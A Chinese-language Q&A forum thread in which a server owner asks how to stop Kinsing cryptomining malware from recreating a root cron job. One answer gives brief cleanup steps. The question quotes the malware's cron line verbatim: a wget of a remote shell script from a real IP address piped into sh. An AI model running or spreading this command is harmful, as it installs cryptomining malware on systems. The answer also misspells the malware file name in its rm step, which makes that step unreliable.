无法阻止 Kinsing 恶意软件创建 cronjob

Question

所以基本上我的新服务器已经感染了加密挖矿恶意软件 Kinsing。尽管我遵循了此处的所有说明，但似乎仍然无法阻止恶意软件在我的根 crontab 中创建此行：

* * * * * wget -q -O - http://195.3.146.118/sc.sh | sh > /dev/null 2>&1

这实际上是用恶意项目和r01.egg文件感染我的 Scrapyd 守护进程。

目前没有活动进程正在生成，并且似乎没有恶意软件的活动。这可能是因为我已经锁定了之前链接的资源所指示的具有受限权限的文件。

如何停止 cronjob 开始？它似乎每天至少生成两次，甚至更多。

谢谢，

Answer 1

Step1 获取PID并杀死它们

ps -aux | grep kinsing
ps -aux | grep kdevtmpfsi

Step2 删除文件

rm -f /tmp/kdevtmfsi